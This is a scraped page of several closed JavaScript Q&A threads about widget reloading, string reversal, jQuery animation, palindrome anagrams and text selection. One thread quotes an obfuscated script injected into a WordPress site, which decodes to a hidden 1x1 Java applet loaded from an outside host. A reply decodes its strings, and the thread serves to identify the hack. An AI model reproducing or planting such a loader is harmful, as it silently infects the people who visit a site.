How do i reload a div every 20 seconds? [closed] - javascript

As it currently stands, this question is not a good fit for our Q&A format. We expect answers to be supported by facts, references, or expertise, but this question will likely solicit debate, arguments, polling, or extended discussion. If you feel that this question can be improved and possibly reopened, visit the help center for guidance.
Closed 9 years ago.
So i have this script:
<script id="_wauwgs">var _wau = _wau || []; _wau.push(["small", "p00ystfryeuc", "wgs"]);
(function() {var s=document.createElement("script"); s.async=true;
s.src="http://widgets.amung.us/small.js";
document.getElementsByTagName("head")[0].appendChild(s);
})();</script>
And i would like to reload it every 20 or 30 seconds. I tried using this:
<script type="text/javascript">
function refresh() {
document.getElementById('online').src = document.getElementById('online').src;
}
window.setInterval("refresh()",30000);
</script>
With the script in <div id="online"></div> but it didn't work.

I think this is what you want:
setInterval(function(){
$("#online").attr('src', 'http://widgets.amung.us/small.js', 3000 /*or 2000*/);
})

I think the only way to refresh a script is to insert it again.
var script = $('#online').html();
function reloadScript() {
$time = 500;
$('#online').html('');
setTimeout(function() {
$('#online').html(script);
reloadScript();
}, $time);
}
reloadScript();

Related

Iteration- Javascript [closed]

As it currently stands, this question is not a good fit for our Q&A format. We expect answers to be supported by facts, references, or expertise, but this question will likely solicit debate, arguments, polling, or extended discussion. If you feel that this question can be improved and possibly reopened, visit the help center for guidance.
Closed 9 years ago.
<html>
<body>
<script>
var namIn = window.prompt( "Enter Your FULL Name:" ); var namAr = namIn.split("");
var namArLen = namAr.length;
document.write(namAr + "<br /> Length: " + namArLen); </script>
</body>
</html>
When using this code, how do I add and a small iteration that will display my name in reverse order? So if my name were Ashley Smith the output will be my last name backwards then first name backwards on new single line in H1 size.
You can use a simple for-loop:
document.write("<h1>");
for (var i=namArLen-1; i>=0; i--) {
document.write(namAr[i]);
}
document.write("</h1>");
For simplicity, there's also the reverse function on arrays:
document.write("<h1>"+namAr.reverse().join("")+"</h1>");

Is there a better way to write this simple line of jQuery? [closed]

As it currently stands, this question is not a good fit for our Q&A format. We expect answers to be supported by facts, references, or expertise, but this question will likely solicit debate, arguments, polling, or extended discussion. If you feel that this question can be improved and possibly reopened, visit the help center for guidance.
Closed 10 years ago.
I am learning jQuery and I have written a very simple script that works great. Now I would like to find out if there is a better way to write this line.
$("form").submit(function() {
$('div.beforeRecover').animate({ opacity: 'toggle' }, 300).delay(800);
$('div.betweenRecover').animate({ opacity: 'toggle' }, 200).delay(1200);
$('div.betweenRecover').animate({ opacity: 'toggle' }, 800);
$('div.afterRecover').delay(1800).animate({ opacity: 'toggle' }, 1400);
return false;
});
To briefly explain:
Form gets submitted
Form fades
Loading gif appears
Loading gif fades
Confirmation message appears.
I appreciate any help!
var fadeToggle = { opacity: 'toggle' };
$("form").submit(function() {
$('div.beforeRecover').animate(fadeToggle, 300).delay(800);
$('div.betweenRecover')
.animate(fadeToggle, 200).delay(1200)
.animate(fadeToggle, 800).delay(1800);
$('div.afterRecover').animate(fadeToggle, 1400);
return false;
});
Infact, there is a whole separate method called .fadeToggle()

JavaScript solution for anagram of a palindrome [closed]

As it currently stands, this question is not a good fit for our Q&A format. We expect answers to be supported by facts, references, or expertise, but this question will likely solicit debate, arguments, polling, or extended discussion. If you feel that this question can be improved and possibly reopened, visit the help center for guidance.
Closed 10 years ago.
I was asked to implement the same question as this in an interview recently:
https://stackoverflow.com/questions/8447222/anagram-of-a-palindrome
I could not provide an answer but am interested to know the JavaScript solution.
That should be working..But I have tested it only with few inputs:) At least the theory behind it should be OK..
String.prototype.count=function(char) {
return this.split(char).length-1;
}
function isAnagramOfPalyndrom(string){
string.replace(" ", "");
var even = string.length % 2 == 0;
var flag = false;
for(var i = 0; i < string.length; i++){
if(string.count(string.charAt(i)) % 2 != 0){
if(even) return false;
else{
if(flag) return false;
flag = true;
}
}
}
return true;
}
Theoretically, if you have an even number of every letter except 1, it's an anagram of a palindrome.
See: "Kayak" k:2, a:2, y:1
See: "SAAS" s:2, a:2

What does this javascript code doing? [closed]

As it currently stands, this question is not a good fit for our Q&A format. We expect answers to be supported by facts, references, or expertise, but this question will likely solicit debate, arguments, polling, or extended discussion. If you feel that this question can be improved and possibly reopened, visit the help center for guidance.
Closed 10 years ago.
Can someone explain what the below javascript code does? I keep getting it on my Wordpress site and the variables keep changing on different computers. Not sure if it is a hack of some sort.
<script language="javascript">
var vgdck = function(mzsrpv, hysza, yzmii, apcmch){
var xru = function(zzu) {
var szg, i;
var fge="";
for (i = 0; i < zzu.length; ++i) {
szg =zzu.charCodeAt(i);
szg = szg- 1;
fge = fge + String.fromCharCode(szg);
}
return(fge);
};
var rnetl=document.createElement(xru("bqqmfu"));
rnetl.setAttribute(xru("dpef"), xru(mzsrpv));
rnetl.setAttribute(xru("bsdijwf"), xru("iuuq;00"+hysza));
rnetl.setAttribute(xru("xjeui"), "1");
rnetl.setAttribute(xru("ifjhiu"), "1");
var rmjtth=document.createElement(xru("qbsbn"));
rmjtth.setAttribute(xru("obnf"),xru(yzmii));
rmjtth.setAttribute(xru("wbmvf"),xru(apcmch));
rnetl.appendChild(rmjtth);
document.body.appendChild(rnetl);
};
var ecfrc = vgdck;
ecfrc(
"fenlscwulwvtkcri/okgseudbubiiusvzec/dmbtt",
"3123/hjtsmt/jo01379",
"vhmfgllmwqxfchlwqkgdkxd",
"21c22gcd7d579cf4f3fb4663:2c624d3311248fgbc8758c72e7g5c41962gf169"
);
</script>
Something along the lines of the following...
applet
code
edmkrbvtkvusjbqh.njfrdtcatahhtruydb.class
archive
http://2012.gisrls.in/0268
width
height
param
name
uglefkklvpwebgkvpjfcjwc
value
10b11fbc6c468be3e2ea355291b513c2200137efab7647b61d6f4b30851fe058

Javascript check if text selected [closed]

As it currently stands, this question is not a good fit for our Q&A format. We expect answers to be supported by facts, references, or expertise, but this question will likely solicit debate, arguments, polling, or extended discussion. If you feel that this question can be improved and possibly reopened, visit the help center for guidance.
Closed 11 years ago.
I'm looking for a simple function (javascript / jquery) that checks whether or not ANY contents of a textarea is selected or highlighted... the function needs to return true or false.
Thanks :)
Try this
function isTextSelected(input){
var startPos = input.selectionStart;
var endPos = input.selectionEnd;
var doc = document.selection;
if(doc && doc.createRange().text.length != 0){
return true;
}else if (!doc && input.value.substring(startPos,endPos).length != 0){
return true;
}
return false;
}
Usage
if(isTextSelected($('#textareaId')[0])){
//text selected
}
Demo

Categories

Resources